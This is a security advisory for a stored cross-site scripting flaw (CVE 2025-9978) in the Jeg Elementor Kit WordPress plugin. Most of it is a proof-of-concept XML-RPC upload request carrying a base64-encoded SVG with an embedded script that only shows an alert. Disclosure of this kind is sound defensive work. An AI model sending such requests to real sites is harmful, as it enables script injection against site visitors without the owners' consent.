Jeg Elementor Kit < 2.7.0 – Author+ Stored XSS | CVE 2025-9978

Description

The plugin does not sanitize SVG file contents when uploaded via xmlrpc.php, leading to a cross site scripting vulnerability.

Proof of Concept

As an author, send the following request:

<?xml version="1.0"?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param>
<value><int>1</int></value>
</param>
<param>
<value><string>author</string></value> <!-- author username -->
</param>
<param>
<value><string>password</string></value> <!-- author password -->
</param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>xssstored.svg</string></value>
</member>
<member>
<name>type</name>
<value><string>image/svg+xml</string></value>
</member>
<member>
<name>bits</name>
<value><base64>
PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIiB2aWV3Qm94PSIwIDAgMTAwIDEwMCI+CjxyZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIiBmaWxsPSIjZWVlIi8+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KICAgIGFsZXJ0KCJYU1MgUG9DIC0gbGFiIHVzZSBvbmx5Iik7Cjwvc2NyaXB0Pgo8L3N2Zz4=
</base64></value>
</member>
<member>
<name>overwrite</name>
<value><boolean>0</boolean></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Access the uploaded SVG and see the XSS:

http://example.com/wp-content/uploads/2025/08/xssstored.svg